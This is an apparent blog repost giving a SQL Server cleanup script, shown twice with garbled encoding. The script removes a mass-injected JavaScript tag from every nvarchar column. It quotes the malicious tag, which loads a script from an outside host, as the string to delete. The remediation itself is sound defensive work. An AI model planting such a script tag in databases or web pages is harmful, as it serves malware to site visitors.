SQLserver被js注入的全库替换SQL
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SQLserver被js注入的全库替换SQL
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Code
DECLARE?@fieldtype?sysname
SET?@fieldtype='nvarchar'
--替換處理
DECLARE?hCForEach?CURSOR?GLOBAL
FOR
--要替換的列的數(shù)據(jù)類型
SELECT?N'UPDATE?'+QUOTENAME(o.name)
+N'?set?'+QUOTENAME(c.name)+'='+'REPLACE('+QUOTENAME(c.name)+',''<script?src=http://cn.daxia123.cn/cn.js></script>'','''')'
FROM?sysobjects?o,syscolumns?c,systypes?t
WHERE?o.id=c.id?
AND?OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND?c.xusertype=t.xusertype
AND?t.name=@fieldtype
EXEC?sp_MSforeach_Worker?@command1=N'?'
?
DECLARE?@fieldtype?sysname
SET?@fieldtype='nvarchar'
--替換處理
DECLARE?hCForEach?CURSOR?GLOBAL
FOR
--要替換的列的數(shù)據(jù)類型
SELECT?N'UPDATE?'+QUOTENAME(o.name)
+N'?set?'+QUOTENAME(c.name)+'='+'REPLACE('+QUOTENAME(c.name)+',''<script?src=http://cn.daxia123.cn/cn.js></script>'','''')'
FROM?sysobjects?o,syscolumns?c,systypes?t
WHERE?o.id=c.id?
AND?OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND?c.xusertype=t.xusertype
AND?t.name=@fieldtype
EXEC?sp_MSforeach_Worker?@command1=N'?'
?
轉(zhuǎn)載于:https://www.cnblogs.com/qumao5736/archive/2009/01/15/1376277.html
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